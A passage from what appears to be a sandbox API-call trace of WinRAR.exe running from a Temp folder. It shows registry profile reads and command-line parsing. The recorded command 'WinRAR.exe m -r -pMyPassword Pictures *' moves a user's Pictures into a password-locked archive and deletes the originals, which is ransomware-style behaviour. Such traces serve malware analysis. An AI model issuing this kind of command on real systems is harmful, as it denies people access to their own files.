lpType=0x188b64, lpData=0x188b60, lpcbData=0x188b98*=0x4 | out: lpType=0x188b64*=0x4, lpData=0x188b60*=0x0, lpcbData=0x188b98*=0x4) returned 0x0 [0053.253] RegCloseKey (hKey=0x180) returned 0x0 [0053.253] GetLastError () returned 0x5b0 [0053.253] SetLastError (dwErrCode=0x5b0) [0053.253] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x188700 | out: phkResult=0x188700*=0x180) returned 0x0 [0053.253] RegQueryValueExW (in: hKey=0x180, lpValueName="ZipLegacyEncrypt", lpReserved=0x0, lpType=0x188b64, lpData=0x188b60, lpcbData=0x188b98*=0x4 | out: lpType=0x188b64*=0x4, lpData=0x188b60*=0x0, lpcbData=0x188b98*=0x4) returned 0x0 [0053.253] RegCloseKey (hKey=0x180) returned 0x0 [0053.253] GetLastError () returned 0x5b0 [0053.254] SetLastError (dwErrCode=0x5b0) [0053.254] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x189d00 | out: phkResult=0x189d00*=0x180) returned 0x0 [0053.254] RegQueryValueExW (in: hKey=0x180, lpValueName="OpenShared", lpReserved=0x0, lpType=0x18a164, lpData=0x18a160, lpcbData=0x18a198*=0x4 | out: lpType=0x18a164*=0x4, lpData=0x18a160*=0x0, lpcbData=0x18a198*=0x4) returned 0x0 [0053.254] RegCloseKey (hKey=0x180) returned 0x0 [0053.254] GetLastError () returned 0x5b0 [0053.254] SetLastError (dwErrCode=0x5b0) [0053.254] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x189d00 | out: phkResult=0x189d00*=0x180) returned 0x0 [0053.254] RegQueryValueExW (in: hKey=0x180, lpValueName="ProcessOwners", lpReserved=0x0, lpType=0x18a164, lpData=0x18a160, lpcbData=0x18a198*=0x4 | out: lpType=0x18a164*=0x4, lpData=0x18a160*=0x0, lpcbData=0x18a198*=0x4) returned 0x0 [0053.254] RegCloseKey (hKey=0x180) returned 0x0 [0053.254] GetLastError () returned 0x5b0 [0053.254] SetLastError (dwErrCode=0x5b0) [0053.254] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x189d00 | out: phkResult=0x189d00*=0x180) returned 0x0 [0053.254] RegQueryValueExW (in: hKey=0x180, lpValueName="SaveStreams", lpReserved=0x0, lpType=0x18a164, lpData=0x18a160, lpcbData=0x18a198*=0x4 | out: lpType=0x18a164*=0x4, lpData=0x18a160*=0x0, lpcbData=0x18a198*=0x4) returned 0x0 [0053.254] RegCloseKey (hKey=0x180) returned 0x0 [0053.254] GetLastError () returned 0x5b0 [0053.254] SetLastError (dwErrCode=0x5b0) [0053.254] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x189d00 | out: phkResult=0x189d00*=0x180) returned 0x0 [0053.254] RegQueryValueExW (in: hKey=0x180, lpValueName="SaveSymLinks", lpReserved=0x0, lpType=0x18a164, lpData=0x18a160, lpcbData=0x18a198*=0x4 | out: lpType=0x18a164*=0x4, lpData=0x18a160*=0x0, lpcbData=0x18a198*=0x4) returned 0x0 [0053.254] RegCloseKey (hKey=0x180) returned 0x0 [0053.254] GetLastError () returned 0x5b0 [0053.254] SetLastError (dwErrCode=0x5b0) [0053.254] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x189d00 | out: phkResult=0x189d00*=0x180) returned 0x0 [0053.254] RegQueryValueExW (in: hKey=0x180, lpValueName="SaveHardLinks", lpReserved=0x0, lpType=0x18a164, lpData=0x18a160, lpcbData=0x18a198*=0x4 | out: lpType=0x18a164*=0x4, lpData=0x18a160*=0x0, lpcbData=0x18a198*=0x4) returned 0x0 [0053.254] RegCloseKey (hKey=0x180) returned 0x0 [0053.254] GetLastError () returned 0x5b0 [0053.254] SetLastError (dwErrCode=0x5b0) [0053.254] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x189d00 | out: phkResult=0x189d00*=0x180) returned 0x0 [0053.254] RegQueryValueExW (in: hKey=0x180, lpValueName="Background", lpReserved=0x0, lpType=0x18a164, lpData=0x18a160, lpcbData=0x18a198*=0x4 | out: lpType=0x18a164*=0x4, lpData=0x18a160*=0x0, lpcbData=0x18a198*=0x4) returned 0x0 [0053.255] RegCloseKey (hKey=0x180) returned 0x0 [0053.255] GetLastError () returned 0x5b0 [0053.255] SetLastError (dwErrCode=0x5b0) [0053.255] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x189d00 | out: phkResult=0x189d00*=0x180) returned 0x0 [0053.255] RegQueryValueExW (in: hKey=0x180, lpValueName="WaitForOther", lpReserved=0x0, lpType=0x18a164, lpData=0x18a160, lpcbData=0x18a198*=0x4 | out: lpType=0x18a164*=0x4, lpData=0x18a160*=0x0, lpcbData=0x18a198*=0x4) returned 0x0 [0053.255] RegCloseKey (hKey=0x180) returned 0x0 [0053.255] GetLastError () returned 0x5b0 [0053.255] SetLastError (dwErrCode=0x5b0) [0053.255] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x189d00 | out: phkResult=0x189d00*=0x180) returned 0x0 [0053.255] RegQueryValueExW (in: hKey=0x180, lpValueName="Shutdown", lpReserved=0x0, lpType=0x18a164, lpData=0x18a160, lpcbData=0x18a198*=0x4 | out: lpType=0x18a164*=0x4, lpData=0x18a160*=0x0, lpcbData=0x18a198*=0x4) returned 0x0 [0053.255] RegCloseKey (hKey=0x180) returned 0x0 [0053.255] GetLastError () returned 0x5b0 [0053.255] SetLastError (dwErrCode=0x5b0) [0053.255] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x189d00 | out: phkResult=0x189d00*=0x180) returned 0x0 [0053.255] RegQueryValueExW (in: hKey=0x180, lpValueName="GenerateArcName", lpReserved=0x0, lpType=0x18a164, lpData=0x18a160, lpcbData=0x18a198*=0x4 | out: lpType=0x18a164*=0x4, lpData=0x18a160*=0x0, lpcbData=0x18a198*=0x4) returned 0x0 [0053.255] RegCloseKey (hKey=0x180) returned 0x0 [0053.255] GetLastError () returned 0x5b0 [0053.255] SetLastError (dwErrCode=0x5b0) [0053.255] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x189d00 | out: phkResult=0x189d00*=0x180) returned 0x0 [0053.255] RegQueryValueExW (in: hKey=0x180, lpValueName="VersionControl", lpReserved=0x0, lpType=0x18a164, lpData=0x18a160, lpcbData=0x18a198*=0x4 | out: lpType=0x18a164*=0x4, lpData=0x18a160*=0x0, lpcbData=0x18a198*=0x4) returned 0x0 [0053.255] RegCloseKey (hKey=0x180) returned 0x0 [0053.255] GetLastError () returned 0x5b0 [0053.255] SetLastError (dwErrCode=0x5b0) [0053.255] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x189d00 | out: phkResult=0x189d00*=0x180) returned 0x0 [0053.255] RegQueryValueExW (in: hKey=0x180, lpValueName="BLAKE2", lpReserved=0x0, lpType=0x18a164, lpData=0x18a160, lpcbData=0x18a198*=0x4 | out: lpType=0x18a164*=0x4, lpData=0x18a160*=0x0, lpcbData=0x18a198*=0x4) returned 0x0 [0053.255] RegCloseKey (hKey=0x180) returned 0x0 [0053.255] GetLastError () returned 0x5b0 [0053.255] SetLastError (dwErrCode=0x5b0) [0053.256] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x189d00 | out: phkResult=0x189d00*=0x180) returned 0x0 [0053.256] RegQueryValueExW (in: hKey=0x180, lpValueName="FileCopies", lpReserved=0x0, lpType=0x18a164, lpData=0x18a160, lpcbData=0x18a198*=0x4 | out: lpType=0x18a164*=0x4, lpData=0x18a160*=0x0, lpcbData=0x18a198*=0x4) returned 0x0 [0053.256] RegCloseKey (hKey=0x180) returned 0x0 [0053.256] GetLastError () returned 0x5b0 [0053.256] SetLastError (dwErrCode=0x5b0) [0053.256] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x189d00 | out: phkResult=0x189d00*=0x180) returned 0x0 [0053.256] RegQueryValueExW (in: hKey=0x180, lpValueName="QuickOpen", lpReserved=0x0, lpType=0x18a164, lpData=0x18a160, lpcbData=0x18a198*=0x4 | out: lpType=0x18a164*=0x4, lpData=0x18a160*=0x1, lpcbData=0x18a198*=0x4) returned 0x0 [0053.256] RegCloseKey (hKey=0x180) returned 0x0 [0053.256] GetLastError () returned 0x5b0 [0053.256] SetLastError (dwErrCode=0x5b0) [0053.256] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x189470 | out: phkResult=0x189470*=0x180) returned 0x0 [0053.256] RegQueryValueExW (in: hKey=0x180, lpValueName="GenerateMask", lpReserved=0x0, lpType=0x1898d4, lpData=0x13f2ba81a, lpcbData=0x1898d0*=0x100 | out: lpType=0x1898d4*=0x1, lpData="yyyymmddhhmmss", lpcbData=0x1898d0*=0x1e) returned 0x0 [0053.256] RegCloseKey (hKey=0x180) returned 0x0 [0053.256] GetLastError () returned 0x5b0 [0053.256] SetLastError (dwErrCode=0x5b0) [0053.256] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x189d00 | out: phkResult=0x189d00*=0x180) returned 0x0 [0053.256] RegQueryValueExW (in: hKey=0x180, lpValueName="FileTimeMode", lpReserved=0x0, lpType=0x18a164, lpData=0x18a160, lpcbData=0x18a198*=0x4 | out: lpType=0x18a164*=0x4, lpData=0x18a160*=0x0, lpcbData=0x18a198*=0x4) returned 0x0 [0053.256] RegCloseKey (hKey=0x180) returned 0x0 [0053.256] GetLastError () returned 0x5b0 [0053.256] SetLastError (dwErrCode=0x5b0) [0053.256] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x189d00 | out: phkResult=0x189d00*=0x180) returned 0x0 [0053.256] RegQueryValueExW (in: hKey=0x180, lpValueName="FileDays", lpReserved=0x0, lpType=0x18a164, lpData=0x18a160, lpcbData=0x18a198*=0x4 | out: lpType=0x18a164*=0x4, lpData=0x18a160*=0x0, lpcbData=0x18a198*=0x4) returned 0x0 [0053.256] RegCloseKey (hKey=0x180) returned 0x0 [0053.256] GetLastError () returned 0x5b0 [0053.256] SetLastError (dwErrCode=0x5b0) [0053.256] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x189d00 | out: phkResult=0x189d00*=0x180) returned 0x0 [0053.256] RegQueryValueExW (in: hKey=0x180, lpValueName="FileHours", lpReserved=0x0, lpType=0x18a164, lpData=0x18a160, lpcbData=0x18a198*=0x4 | out: lpType=0x18a164*=0x4, lpData=0x18a160*=0x0, lpcbData=0x18a198*=0x4) returned 0x0 [0053.256] RegCloseKey (hKey=0x180) returned 0x0 [0053.257] GetLastError () returned 0x5b0 [0053.257] SetLastError (dwErrCode=0x5b0) [0053.257] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x189d00 | out: phkResult=0x189d00*=0x180) returned 0x0 [0053.257] RegQueryValueExW (in: hKey=0x180, lpValueName="FileMinutes", lpReserved=0x0, lpType=0x18a164, lpData=0x18a160, lpcbData=0x18a198*=0x4 | out: lpType=0x18a164*=0x4, lpData=0x18a160*=0x0, lpcbData=0x18a198*=0x4) returned 0x0 [0053.257] RegCloseKey (hKey=0x180) returned 0x0 [0053.257] GetLastError () returned 0x5b0 [0053.257] SetLastError (dwErrCode=0x5b0) [0053.257] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x189d00 | out: phkResult=0x189d00*=0x180) returned 0x0 [0053.257] RegQueryValueExW (in: hKey=0x180, lpValueName="ArcTimeOriginal", lpReserved=0x0, lpType=0x18a164, lpData=0x18a160, lpcbData=0x18a198*=0x4 | out: lpType=0x18a164*=0x4, lpData=0x18a160*=0x0, lpcbData=0x18a198*=0x4) returned 0x0 [0053.257] RegCloseKey (hKey=0x180) returned 0x0 [0053.257] GetLastError () returned 0x5b0 [0053.257] SetLastError (dwErrCode=0x5b0) [0053.257] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x189d00 | out: phkResult=0x189d00*=0x180) returned 0x0 [0053.257] RegQueryValueExW (in: hKey=0x180, lpValueName="ArcTimeLatest", lpReserved=0x0, lpType=0x18a164, lpData=0x18a160, lpcbData=0x18a198*=0x4 | out: lpType=0x18a164*=0x4, lpData=0x18a160*=0x0, lpcbData=0x18a198*=0x4) returned 0x0 [0053.257] RegCloseKey (hKey=0x180) returned 0x0 [0053.257] GetLastError () returned 0x5b0 [0053.257] SetLastError (dwErrCode=0x5b0) [0053.257] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x189d00 | out: phkResult=0x189d00*=0x180) returned 0x0 [0053.257] RegQueryValueExW (in: hKey=0x180, lpValueName="mtime", lpReserved=0x0, lpType=0x18a164, lpData=0x18a160, lpcbData=0x18a198*=0x4 | out: lpType=0x18a164*=0x4, lpData=0x18a160*=0x4, lpcbData=0x18a198*=0x4) returned 0x0 [0053.257] RegCloseKey (hKey=0x180) returned 0x0 [0053.257] GetLastError () returned 0x5b0 [0053.257] SetLastError (dwErrCode=0x5b0) [0053.257] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x189d00 | out: phkResult=0x189d00*=0x180) returned 0x0 [0053.257] RegQueryValueExW (in: hKey=0x180, lpValueName="ctime", lpReserved=0x0, lpType=0x18a164, lpData=0x18a160, lpcbData=0x18a198*=0x4 | out: lpType=0x18a164*=0x4, lpData=0x18a160*=0x0, lpcbData=0x18a198*=0x4) returned 0x0 [0053.257] RegCloseKey (hKey=0x180) returned 0x0 [0053.257] GetLastError () returned 0x5b0 [0053.258] SetLastError (dwErrCode=0x5b0) [0053.258] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x189d00 | out: phkResult=0x189d00*=0x180) returned 0x0 [0053.258] RegQueryValueExW (in: hKey=0x180, lpValueName="atime", lpReserved=0x0, lpType=0x18a164, lpData=0x18a160, lpcbData=0x18a198*=0x4 | out: lpType=0x18a164*=0x4, lpData=0x18a160*=0x0, lpcbData=0x18a198*=0x4) returned 0x0 [0053.258] RegCloseKey (hKey=0x180) returned 0x0 [0053.258] GetLastError () returned 0x5b0 [0053.258] SetLastError (dwErrCode=0x5b0) [0053.258] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x189d00 | out: phkResult=0x189d00*=0x180) returned 0x0 [0053.258] RegQueryValueExW (in: hKey=0x180, lpValueName="PathsAbs", lpReserved=0x0, lpType=0x18a164, lpData=0x18a160, lpcbData=0x18a198*=0x4 | out: lpType=0x18a164*=0x4, lpData=0x18a160*=0x0, lpcbData=0x18a198*=0x4) returned 0x0 [0053.258] RegCloseKey (hKey=0x180) returned 0x0 [0053.258] GetLastError () returned 0x5b0 [0053.258] SetLastError (dwErrCode=0x5b0) [0053.258] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x189d00 | out: phkResult=0x189d00*=0x180) returned 0x0 [0053.258] RegQueryValueExW (in: hKey=0x180, lpValueName="PathsNone", lpReserved=0x0, lpType=0x18a164, lpData=0x18a160, lpcbData=0x18a198*=0x4 | out: lpType=0x18a164*=0x4, lpData=0x18a160*=0x0, lpcbData=0x18a198*=0x4) returned 0x0 [0053.258] RegCloseKey (hKey=0x180) returned 0x0 [0053.258] GetLastError () returned 0x5b0 [0053.258] SetLastError (dwErrCode=0x5b0) [0053.258] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x189d00 | out: phkResult=0x189d00*=0x180) returned 0x0 [0053.258] RegQueryValueExW (in: hKey=0x180, lpValueName="PathsAbsDrive", lpReserved=0x0, lpType=0x18a164, lpData=0x18a160, lpcbData=0x18a198*=0x4 | out: lpType=0x18a164*=0x4, lpData=0x18a160*=0x0, lpcbData=0x18a198*=0x4) returned 0x0 [0053.258] RegCloseKey (hKey=0x180) returned 0x0 [0053.258] GetLastError () returned 0x5b0 [0053.258] SetLastError (dwErrCode=0x5b0) [0053.258] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x189d00 | out: phkResult=0x189d00*=0x180) returned 0x0 [0053.258] RegQueryValueExW (in: hKey=0x180, lpValueName="ImmExec", lpReserved=0x0, lpType=0x18a164, lpData=0x18a160, lpcbData=0x18a198*=0x4 | out: lpType=0x18a164*=0x4, lpData=0x18a160*=0x0, lpcbData=0x18a198*=0x4) returned 0x0 [0053.258] RegCloseKey (hKey=0x180) returned 0x0 [0053.258] GetLastError () returned 0x5b0 [0053.258] SetLastError (dwErrCode=0x5b0) [0053.258] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x189d00 | out: phkResult=0x189d00*=0x180) returned 0x0 [0053.258] RegQueryValueExW (in: hKey=0x180, lpValueName="SeparateArc", lpReserved=0x0, lpType=0x18a164, lpData=0x18a160, lpcbData=0x18a198*=0x4 | out: lpType=0x18a164*=0x4, lpData=0x18a160*=0x0, lpcbData=0x18a198*=0x4) returned 0x0 [0053.259] RegCloseKey (hKey=0x180) returned 0x0 [0053.259] GetLastError () returned 0x5b0 [0053.259] SetLastError (dwErrCode=0x5b0) [0053.259] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x189d00 | out: phkResult=0x189d00*=0x180) returned 0x0 [0053.259] RegQueryValueExW (in: hKey=0x180, lpValueName="SeparateArcDoubleExt", lpReserved=0x0, lpType=0x18a164, lpData=0x18a160, lpcbData=0x18a198*=0x4 | out: lpType=0x18a164*=0x4, lpData=0x18a160*=0x0, lpcbData=0x18a198*=0x4) returned 0x0 [0053.259] RegCloseKey (hKey=0x180) returned 0x0 [0053.259] GetLastError () returned 0x5b0 [0053.259] SetLastError (dwErrCode=0x5b0) [0053.259] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x189d00 | out: phkResult=0x189d00*=0x180) returned 0x0 [0053.259] RegQueryValueExW (in: hKey=0x180, lpValueName="SeparateArcSubfolders", lpReserved=0x0, lpType=0x18a164, lpData=0x18a160, lpcbData=0x18a198*=0x4 | out: lpType=0x18a164*=0x4, lpData=0x18a160*=0x0, lpcbData=0x18a198*=0x4) returned 0x0 [0053.259] RegCloseKey (hKey=0x180) returned 0x0 [0053.259] GetLastError () returned 0x5b0 [0053.259] SetLastError (dwErrCode=0x5b0) [0053.259] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x189470 | out: phkResult=0x189470*=0x180) returned 0x0 [0053.259] RegQueryValueExW (in: hKey=0x180, lpValueName="EmailArcTo", lpReserved=0x0, lpType=0x1898d4, lpData=0x13f2baa34, lpcbData=0x1898d0*=0x1000 | out: lpType=0x1898d4*=0x1, lpData="", lpcbData=0x1898d0*=0x2) returned 0x0 [0053.259] RegCloseKey (hKey=0x180) returned 0x0 [0053.259] GetLastError () returned 0x5b0 [0053.259] SetLastError (dwErrCode=0x5b0) [0053.259] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x189470 | out: phkResult=0x189470*=0x180) returned 0x0 [0053.259] RegQueryValueExW (in: hKey=0x180, lpValueName="PackDetails", lpReserved=0x0, lpType=0x1898d4, lpData=0x18a1c0, lpcbData=0x1898d0*=0xc0 | out: lpType=0x1898d4*=0x3, lpData=0x18a1c0*, lpcbData=0x1898d0*=0xc0) returned 0x0 [0053.259] RegCloseKey (hKey=0x180) returned 0x0 [0053.259] GetCommandLineW () returned="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\\\WinRAR.exe m -r -pMyPassword Pictures *" [0053.259] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x64) returned 0x1d5ee0 [0053.259] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d5ee0 | out: hHeap=0x1b0000) returned 1 [0053.259] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0xa) returned 0x1d6870 [0053.259] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d6870 | out: hHeap=0x1b0000) returned 1 [0053.259] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0xa) returned 0x1d6870 [0053.259] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="r", cchCount1=-1, lpString2="cfg-", cchCount2=-1) returned 3 [0053.259] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="r", cchCount1=2, lpString2="sc", cchCount2=2) returned 1 [0053.259] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d6870 | out: hHeap=0x1b0000) returned 1 [0053.259] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x1e) returned 0x1ff1a0 [0053.259] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="pMyPassword", cchCount1=-1, lpString2="cfg-", cchCount2=-1) returned 3 [0053.259] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="pMyPassword", cchCount1=2, lpString2="sc", cchCount2=2) returned 1 [0053.260] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1ff1a0 | out: hHeap=0x1b0000) returned 1 [0053.260] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x16) returned 0x1d6870 [0053.260] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d6870 | out: hHeap=0x1b0000) returned 1 [0053.260] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x8) returned 0x1eb140 [0053.260] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1eb140 | out: hHeap=0x1b0000) returned 1 [0053.260] GetCurrentDirectoryW (in: nBufferLength=0x800, lpBuffer=0x18e880 | out: lpBuffer="C:\\Users\\WhuOXYsD\\Pictures") returned 0x1a [0053.260] GetCommandLineW () returned="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\\\WinRAR.exe m -r -pMyPassword Pictures *" [0053.260] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x64) returned 0x1d5ee0 [0053.260] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d5ee0 | out: hHeap=0x1b0000) returned 1 [0053.260] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0xa) returned 0x1d6870 [0053.260] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d6870 | out: hHeap=0x1b0000) returned 1 [0053.260] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0xa) returned 0x1d6870 [0053.260] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="r", cchCount1=-1, lpString2="sfx", cchCount2=-1) returned 1 [0053.260] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="r", cchCount1=-1, lpString2="ibck", cchCount2=-1) returned 3 [0053.260] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="r", cchCount1=-1, lpString2="iext", cchCount2=-1) returned 3 [0053.260] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="r", cchCount1=2, lpString2="iicon", cchCount2=5) returned 3 [0053.260] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="r", cchCount1=2, lpString2="iimg", cchCount2=4) returned 3 [0053.260] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="r", cchCount1=2, lpString2="iadm", cchCount2=4) returned 3 [0053.260] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="r", cchCount1=2, lpString2="cp", cchCount2=2) returned 3 [0053.260] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="r", cchCount1=2, lpString2="af", cchCount2=2) returned 3 [0053.260] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="r", cchCount1=2, lpString2="an=", cchCount2=3) returned 3 [0053.260] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="r", cchCount1=2, lpString2="anf=", cchCount2=4) returned 3 [0053.260] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="r", cchCount1=2, lpString2="setup_integration", cchCount2=17) returned 1 [0053.260] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="r", cchCount1=2, lpString2="elevate", cchCount2=7) returned 3 [0053.260] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d6870 | out: hHeap=0x1b0000) returned 1 [0053.260] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x1e) returned 0x1ff1a0 [0053.260] GetLastError () returned 0x5b0 [0053.260] SetLastError (dwErrCode=0x5b0) [0053.260] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\WinRAR\\Policy", ulOptions=0x0, samDesired=0x1, phkResult=0x185d70 | out: phkResult=0x185d70*=0x0) returned 0x2 [0053.260] GetLastError () returned 0x5b0 [0053.260] SetLastError (dwErrCode=0x5b0) [0053.260] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Policy", ulOptions=0x0, samDesired=0x9, phkResult=0x186540 | out: phkResult=0x186540*=0x0) returned 0x2 [0053.260] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="pMyPassword", cchCount1=-1, lpString2="sfx", cchCount2=-1) returned 1 [0053.260] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="pMyPassword", cchCount1=-1, lpString2="ibck", cchCount2=-1) returned 3 [0053.260] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="pMyPassword", cchCount1=-1, lpString2="iext", cchCount2=-1) returned 3 [0053.260] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="pMyPassword", cchCount1=5, lpString2="iicon", cchCount2=5) returned 3 [0053.260] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="pMyPassword", cchCount1=4, lpString2="iimg", cchCount2=4) returned 3 [0053.260] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="pMyPassword", cchCount1=4, lpString2="iadm", cchCount2=4) returned 3 [0053.261] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="pMyPassword", cchCount1=2, lpString2="cp", cchCount2=2) returned 3 [0053.261] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="pMyPassword", cchCount1=2, lpString2="af", cchCount2=2) returned 3 [0053.261] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="pMyPassword", cchCount1=3, lpString2="an=", cchCount2=3) returned 3 [0053.261] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="pMyPassword", cchCount1=4, lpString2="anf=", cchCount2=4) returned 3 [0053.261] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="pMyPassword", cchCount1=12, lpString2="setup_integration", cchCount2=17) returned 1 [0053.261] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="pMyPassword", cchCount1=7, lpString2="elevate", cchCount2=7) returned 3 [0053.261] GetSystemDirectoryW (in: lpBuffer=0x186a90, 